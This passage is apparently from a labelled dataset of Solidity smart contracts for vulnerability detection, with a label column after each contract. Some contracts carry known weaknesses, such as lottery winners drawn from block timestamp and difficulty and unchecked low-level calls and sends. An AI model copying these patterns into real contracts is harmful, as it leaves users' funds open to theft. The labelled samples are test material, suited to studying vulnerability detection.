}
_p3d = _p3d.add(distributeAff(_rID,_pID,_eth,_affID));
if (_p3d > 0)
{
shareCom.transfer((_p3d / 2));
admin.transfer((_p3d / 2));
}
}
function distributeAff(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
returns(uint256)
{
uint256 _addP3d = 0;
uint256 _aff1 = _eth.div(10);
uint256 _aff2 = _eth.div(20);
uint256 _aff3 = _eth.div(100).mul(3);
groupCut.transfer(_aff1);
if ((_affID != 0) && (_affID != _pID) && (plyr_[_affID].name != ''))
{
plyr_[_pID].laffID = _affID;
plyr_[_affID].aff = _aff2.add(plyr_[_affID].aff);
emit BigOneEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff2, now);
uint256 _secLaff = plyr_[_affID].laffID;
if((_secLaff != 0) && (_secLaff != _pID))
{
plyr_[_secLaff].aff = _aff3.add(plyr_[_secLaff].aff);
emit BigOneEvents.onAffiliatePayout(_secLaff, plyr_[_secLaff].addr, plyr_[_secLaff].name, _rID, _pID, _aff3, now);
} else {
_addP3d = _addP3d.add(_aff3);
}
} else {
_addP3d = _addP3d.add(_aff2);
}
return(_addP3d);
}
function endRound(uint256 _mode)
private
{
uint256 _rID = currentRoundxType_[_mode];
uint256 _winKey = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))).mod(round_[_rID].keyCount);
uint256 _winPID;
for(uint256 i = 0;i < round_[_rID].purchases.length; i++) {
if(round_[_rID].purchases[i].start <= _winKey && round_[_rID].purchases[i].end >= _winKey) {
_winPID = round_[_rID].purchases[i].plyr;
break;
}
}
if(_winPID != 0) {
plyr_[_winPID].win = (round_[_rID].pot).add(plyr_[_winPID].win);
winners_[_mode].push(plyr_[_winPID].addr);
winNumbers_[_mode].push(_winKey);
}
round_[_rID].plyr = _winPID;
round_[_rID].end = now;
emit BigOneEvents.onEndRound
(
_rID,
_mode,
plyr_[_winPID].addr,
plyr_[_winPID].name,
round_[_rID].pot
);
rID_++;
round_[rID_].start = now;
round_[rID_].typeID = _mode;
round_[rID_].count = round_[_rID].count + 1;
round_[rID_].pot = 0;
currentRoundxType_[_mode] = rID_;
}
}
interface UserDataManagerInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLaff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library BigOneData {
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
uint256 laffID;
}
struct PlayerRoundData {
uint256 eth;
uint256[] purchaseIDs;
uint256 keyCount;
}
struct RoundSetting {
uint256 limit;
uint256 perShare;
uint256 shareMax;
bool isValue;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 start;
uint256 keyCount;
BigOneData.PurchaseRecord[] purchases;
uint256 eth;
uint256 pot;
uint256 typeID;
uint256 count;
}
struct PurchaseRecord {
uint256 plyr;
uint256 start;
uint256 end;
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath
{
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | 0 | 742 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TokenVesting is Ownable{
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
address public rollback;
bool public revocable;
uint256 public currentBalance;
bool public initialized = false;
uint256 public constant initialTokens = 5050*10**8;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
uint256 public totalBalance;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
address _rollback,
ERC20Basic _token
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
token = _token;
rollback = _rollback;
}
function initialize() public onlyOwner {
require(tokensAvailable() == initialTokens);
currentBalance = token.balanceOf(this);
totalBalance = currentBalance.add(released[token]);
initialized = true;
}
function tokensAvailable() public constant returns (uint256) {
return token.balanceOf(this);
}
function release() public {
require(initialized);
uint256 unreleased = releasableAmount();
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke() public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount();
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(rollback, refund);
emit Revoked();
}
function releasableAmount() public returns (uint256) {
return vestedAmount().sub(released[token]);
}
function vestedAmount() public returns (uint256) {
currentBalance = token.balanceOf(this);
totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
} | 0 | 637 |
pragma solidity ^0.4.25;
contract GorgonaKiller {
address public GorgonaAddr;
uint constant public MIN_DEP = 0.01 ether;
uint constant public TRANSACTION_LIMIT = 100;
uint public dividends;
uint public last_payed_id;
uint public deposits;
address[] addresses;
mapping(address => Investor) public members;
struct Investor {
uint id;
uint deposit;
}
constructor() public {
GorgonaAddr = 0x020e13faF0955eFeF0aC9cD4d2C64C513ffCBdec;
}
function () external payable {
if (msg.sender == GorgonaAddr) {
return;
}
if ( address(this).balance - msg.value > 0 ) {
dividends = address(this).balance - msg.value;
}
if ( dividends > 0 ) {
payDividends();
}
if (msg.value >= MIN_DEP) {
Investor storage investor = members[msg.sender];
if (investor.id == 0) {
investor.id = addresses.push(msg.sender);
}
investor.deposit += msg.value;
deposits += msg.value;
payToGorgona();
}
}
function payToGorgona() private {
if ( GorgonaAddr.call.value( msg.value )() ) return;
}
function payDividends() private {
address[] memory _addresses = addresses;
uint _dividends = dividends;
if ( _dividends > 0) {
uint num_payed = 0;
for (uint i = last_payed_id; i < _addresses.length; i++) {
uint amount = _dividends * members[ _addresses[i] ].deposit / deposits;
if ( _addresses[i].send( amount ) ) {
last_payed_id = i+1;
num_payed += 1;
}
if ( num_payed == TRANSACTION_LIMIT ) break;
}
if ( last_payed_id >= _addresses.length) {
last_payed_id = 0;
}
dividends = 0;
}
}
function getBalance() public view returns(uint) {
return address(this).balance / 10 ** 18;
}
function getInvestorsCount() public view returns(uint) {
return addresses.length;
}
} | 1 | 3,192 |
pragma solidity ^0.4.11;
contract Base {
function max(uint a, uint b) returns (uint) { return a >= b ? a : b; }
function min(uint a, uint b) returns (uint) { return a <= b ? a : b; }
modifier only(address allowed) {
if (msg.sender != allowed) throw;
_;
}
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) return false;
uint size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
uint constant internal L00 = 2 ** 0;
uint constant internal L01 = 2 ** 1;
uint constant internal L02 = 2 ** 2;
uint constant internal L03 = 2 ** 3;
uint constant internal L04 = 2 ** 4;
uint constant internal L05 = 2 ** 5;
uint private bitlocks = 0;
modifier noReentrancy(uint m) {
var _locks = bitlocks;
if (_locks & m > 0) throw;
bitlocks |= m;
_;
bitlocks = _locks;
}
modifier noAnyReentrancy {
var _locks = bitlocks;
if (_locks > 0) throw;
bitlocks = uint(-1);
_;
bitlocks = _locks;
}
modifier reentrant { _; }
}
contract MintableToken {
function mint(uint amount, address account);
function start();
}
contract Owned is Base {
address public owner;
address public newOwner;
function Owned() {
owner = msg.sender;
}
function transferOwnership(address _newOwner) only(owner) {
newOwner = _newOwner;
}
function acceptOwnership() only(newOwner) {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract BalanceStorage {
function balances(address account) public constant returns(uint balance);
}
contract AddressList {
function contains(address addr) public constant returns (bool);
}
contract MinMaxWhiteList {
function allowed(address addr) public constant returns (uint , uint );
}
contract PresaleBonusVoting {
function rawVotes(address addr) public constant returns (uint rawVote);
}
contract CrowdsaleMinter is Owned {
string public constant VERSION = "0.2.1-TEST.ET.1";
uint public constant COMMUNITY_SALE_START = 3972380;
uint public constant PRIORITY_SALE_START = 3972485;
uint public constant PUBLIC_SALE_START = 3972590;
uint public constant PUBLIC_SALE_END = 3972695;
uint public constant WITHDRAWAL_END = 3972800;
address public TEAM_GROUP_WALLET = 0x215aCB37845027cA64a4f29B2FCb7AffA8E9d326;
address public ADVISERS_AND_FRIENDS_WALLET = 0x41ab8360dEF1e19FdFa32092D83a7a7996C312a4;
uint public constant TEAM_BONUS_PER_CENT = 18;
uint public constant ADVISORS_AND_PARTNERS_PER_CENT = 10;
MintableToken public TOKEN = MintableToken(0x00000000000000000000000000);
AddressList public PRIORITY_ADDRESS_LIST = AddressList(0x463635eFd22558c64Efa6227A45649eeDc0e4888);
MinMaxWhiteList public COMMUNITY_ALLOWANCE_LIST = MinMaxWhiteList(0x26c63d631A307897d76Af5f02A08A09b3395DCb9);
BalanceStorage public PRESALE_BALANCES = BalanceStorage(0x4Fd997Ed7c10DbD04e95d3730cd77D79513076F2);
PresaleBonusVoting public PRESALE_BONUS_VOTING = PresaleBonusVoting(0x283a97Af867165169AECe0b2E963b9f0FC7E5b8c);
uint public constant COMMUNITY_PLUS_PRIORITY_SALE_CAP_ETH = 4;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 3;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 200;
uint public constant TOKEN_PER_ETH = 1000;
uint public constant PRE_SALE_BONUS_PER_CENT = 54;
function CrowdsaleMinter() {
if (
TOKEN_PER_ETH == 0
|| TEAM_BONUS_PER_CENT + ADVISORS_AND_PARTNERS_PER_CENT >=100
|| MIN_ACCEPTED_AMOUNT_FINNEY < 1
|| owner == 0x0
|| address(COMMUNITY_ALLOWANCE_LIST) == 0x0
|| address(PRIORITY_ADDRESS_LIST) == 0x0
|| address(PRESALE_BONUS_VOTING) == 0x0
|| address(PRESALE_BALANCES) == 0x0
|| COMMUNITY_SALE_START == 0
|| PRIORITY_SALE_START == 0
|| PUBLIC_SALE_START == 0
|| PUBLIC_SALE_END == 0
|| WITHDRAWAL_END == 0
|| MIN_TOTAL_AMOUNT_TO_RECEIVE == 0
|| MAX_TOTAL_AMOUNT_TO_RECEIVE == 0
|| COMMUNITY_PLUS_PRIORITY_SALE_CAP == 0
|| COMMUNITY_SALE_START <= block.number
|| COMMUNITY_SALE_START >= PRIORITY_SALE_START
|| PRIORITY_SALE_START >= PUBLIC_SALE_START
|| PUBLIC_SALE_START >= PUBLIC_SALE_END
|| PUBLIC_SALE_END >= WITHDRAWAL_END
|| COMMUNITY_PLUS_PRIORITY_SALE_CAP > MAX_TOTAL_AMOUNT_TO_RECEIVE
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
}
bool public isAborted = false;
mapping (address => uint) public balances;
bool public TOKEN_STARTED = false;
uint public total_received_amount;
address[] public investors;
function investorsCount() constant external returns(uint) { return investors.length; }
function TOTAL_RECEIVED_ETH() constant external returns (uint) { return total_received_amount / 1 ether; }
function state() constant external returns (string) { return stateNames[ uint(currentState()) ]; }
function san_whitelist(address addr) public constant returns(uint, uint) { return COMMUNITY_ALLOWANCE_LIST.allowed(addr); }
function cfi_whitelist(address addr) public constant returns(bool) { return PRIORITY_ADDRESS_LIST.contains(addr); }
string[] private stateNames = ["BEFORE_START", "COMMUNITY_SALE", "PRIORITY_SALE", "PRIORITY_SALE_FINISHED", "PUBLIC_SALE", "BONUS_MINTING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, COMMUNITY_SALE, PRIORITY_SALE, PRIORITY_SALE_FINISHED, PUBLIC_SALE, BONUS_MINTING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint private constant COMMUNITY_PLUS_PRIORITY_SALE_CAP = COMMUNITY_PLUS_PRIORITY_SALE_CAP_ETH * 1 ether;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool private allBonusesAreMinted = false;
function ()
payable
noAnyReentrancy
{
State state = currentState();
uint amount_allowed;
if (state == State.COMMUNITY_SALE) {
var (min_finney, max_finney) = COMMUNITY_ALLOWANCE_LIST.allowed(msg.sender);
var (min, max) = (min_finney * 1 finney, max_finney * 1 finney);
var sender_balance = balances[msg.sender];
assert (sender_balance <= max);
assert (msg.value >= min);
amount_allowed = max - sender_balance;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.PRIORITY_SALE) {
assert (PRIORITY_ADDRESS_LIST.contains(msg.sender));
amount_allowed = COMMUNITY_PLUS_PRIORITY_SALE_CAP - total_received_amount;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.PUBLIC_SALE) {
amount_allowed = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.REFUND_RUNNING) {
_sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noAnyReentrancy
{
_sendRefund();
}
function withdrawFundsAndStartToken() external
inState(State.WITHDRAWAL_RUNNING)
noAnyReentrancy
only(owner)
{
if (!owner.send(this.balance)) throw;
if (TOKEN.call(bytes4(sha3("start()")))) {
TOKEN_STARTED = true;
TokenStarted(TOKEN);
}
}
event TokenStarted(address tokenAddr);
function mintAllBonuses() external
inState(State.BONUS_MINTING)
noAnyReentrancy
{
assert(!allBonusesAreMinted);
allBonusesAreMinted = true;
uint TEAM_AND_PARTNERS_PER_CENT = TEAM_BONUS_PER_CENT + ADVISORS_AND_PARTNERS_PER_CENT;
uint total_presale_amount_with_bonus = mintPresaleBonuses();
uint total_collected_amount = total_received_amount + total_presale_amount_with_bonus;
uint extra_amount = total_collected_amount * TEAM_AND_PARTNERS_PER_CENT / (100 - TEAM_AND_PARTNERS_PER_CENT);
uint extra_team_amount = extra_amount * TEAM_BONUS_PER_CENT / TEAM_AND_PARTNERS_PER_CENT;
uint extra_partners_amount = extra_amount * ADVISORS_AND_PARTNERS_PER_CENT / TEAM_AND_PARTNERS_PER_CENT;
_mint(extra_team_amount , TEAM_GROUP_WALLET);
_mint(extra_partners_amount, ADVISERS_AND_FRIENDS_WALLET);
}
function mintPresaleBonuses() internal returns(uint amount) {
uint total_presale_amount_with_bonus = 0;
for(uint i=0; i < PRESALE_ADDRESSES.length; ++i) {
address addr = PRESALE_ADDRESSES[i];
var amount_with_bonus = presaleTokenAmount(addr);
if (amount_with_bonus>0) {
_mint(amount_with_bonus, addr);
total_presale_amount_with_bonus += amount_with_bonus;
}
}
return total_presale_amount_with_bonus;
}
function presaleTokenAmount(address addr) public constant returns(uint){
uint presale_balance = PRESALE_BALANCES.balances(addr);
if (presale_balance > 0) {
var rawVote = PRESALE_BONUS_VOTING.rawVotes(addr);
if (rawVote == 0) rawVote = 1 ether;
else if (rawVote <= 10 finney) rawVote = 0;
else if (rawVote > 1 ether) rawVote = 1 ether;
var presale_bonus = presale_balance * PRE_SALE_BONUS_PER_CENT * rawVote / 1 ether / 100;
return presale_balance + presale_bonus;
} else {
return 0;
}
}
function attachToToken(MintableToken tokenAddr) external
inState(State.BEFORE_START)
only(owner)
{
TOKEN = tokenAddr;
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
only(owner)
{
isAborted = true;
}
function _sendRefund() private
tokenHoldersOnly
{
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function _receiveFundsUpTo(uint amount) private
notTooSmallAmountOnly
{
require (amount > 0);
if (msg.value > amount) {
var change_to_return = msg.value - amount;
if (!msg.sender.send(change_to_return)) throw;
} else {
amount = msg.value;
}
if (balances[msg.sender] == 0) investors.push(msg.sender);
balances[msg.sender] += amount;
total_received_amount += amount;
_mint(amount,msg.sender);
}
function _mint(uint amount, address account) private {
MintableToken(TOKEN).mint(amount * TOKEN_PER_ETH, account);
}
function currentState() private constant
returns (State)
{
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < COMMUNITY_SALE_START || address(TOKEN) == 0x0) {
return State.BEFORE_START;
} else if (block.number < PRIORITY_SALE_START) {
return State.COMMUNITY_SALE;
} else if (block.number < PUBLIC_SALE_START) {
return total_received_amount < COMMUNITY_PLUS_PRIORITY_SALE_CAP
? State.PRIORITY_SALE
: State.PRIORITY_SALE_FINISHED;
} else if (block.number <= PUBLIC_SALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PUBLIC_SALE;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return allBonusesAreMinted
? State.WITHDRAWAL_RUNNING
: State.BONUS_MINTING;
} else {
return State.REFUND_RUNNING;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier inStateBefore(State state) {
if (currentState() >= state) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
address[] PRESALE_ADDRESSES = [
0xF55DFd2B02Cf3282680C94BD01E9Da044044E6A2,
0x0D40B53828948b340673674Ae65Ee7f5D8488e33,
0x0ea690d466d6bbd18F124E204EA486a4Bf934cbA,
0x6d25B9f40b92CcF158250625A152574603465192,
0x481Da0F1e89c206712BCeA4f7D6E60d7b42f6C6C,
0x416EDa5D6Ed29CAc3e6D97C102d61BC578C5dB87,
0xD78Ac6FFc90E084F5fD563563Cc9fD33eE303f18,
0xe6714ab523acEcf9b85d880492A2AcDBe4184892,
0x285A9cA5fE9ee854457016a7a5d3A3BB95538093,
0x600ca6372f312B081205B2C3dA72517a603a15Cc,
0x2b8d5C9209fBD500Fd817D960830AC6718b88112,
0x4B15Dd23E5f9062e4FB3a9B7DECF653C0215e560,
0xD67449e6AB23c1f46dea77d3f5E5D47Ff33Dc9a9,
0xd0ADaD7ed81AfDa039969566Ceb8423E0ab14d90,
0x245f27796a44d7E3D30654eD62850ff09EE85656,
0x639D6eC2cef4d6f7130b40132B3B6F5b667e5105,
0x5e9a69B8656914965d69d8da49c3709F0bF2B5Ef,
0x0832c3B801319b62aB1D3535615d1fe9aFc3397A,
0xf6Dd631279377205818C3a6725EeEFB9D0F6b9F3,
0x47696054e71e4c3f899119601a255a7065C3087B,
0xf107bE6c6833f61A24c64D63c8A7fcD784Abff06,
0x056f072Bd2240315b708DBCbDDE80d400f0394a1,
0x9e5BaeC244D8cCD49477037E28ed70584EeAD956,
0x40A0b2c1B4E30F27e21DF94e734671856b485966,
0x84f0620A547a4D14A7987770c4F5C25d488d6335,
0x036Ac11c161C09d94cA39F7B24C1bC82046c332B,
0x2912A18C902dE6f95321D6d6305D7B80Eec4C055,
0xE1Ad30971b83c17E2A24c0334CB45f808AbEBc87,
0x07f35b7FE735c49FD5051D5a0C2e74c9177fEa6d,
0x11669Cce6AF3ce1Ef3777721fCC0eef0eE57Eaba,
0xBDbaF6434d40D6355B1e80e40Cc4AB9C68D96116,
0x17125b59ac51cEe029E4bD78D7f5947D1eA49BB2,
0xA382A3A65c3F8ee2b726A2535B3c34A89D9094D4,
0xAB78c8781fB64Bed37B274C5EE759eE33465f1f3,
0xE74F2062612E3cAE8a93E24b2f0D3a2133373884,
0x505120957A9806827F8F111A123561E82C40bC78,
0x00A46922B1C54Ae6b5818C49B97E03EB4BB352e1,
0xE76fE52a251C8F3a5dcD657E47A6C8D16Fdf4bFA
];
} | 1 | 3,430 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract ERC20Token is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalToken;
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function totalSupply() public view returns (uint256) {
return totalToken;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract CGPToken is ERC20Token, Owned {
string public constant name = "CGP Token";
string public constant symbol = "CGP";
uint256 public constant decimals = 18;
uint256 public constant initialToken = 50000000000 * (10 ** decimals);
address public constant rescueAddress = 0x00db11F70d7E78936E3250690980F9d71640417B;
constructor() public {
totalToken = initialToken;
balances[msg.sender] = initialToken;
emit Transfer(0x0, msg.sender, initialToken);
}
function transferAnyERC20Token(address _tokenAddress, uint256 _value) public onlyOwner returns (bool) {
return ERC20(_tokenAddress).transfer(rescueAddress, _value);
}
} | 1 | 3,012 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
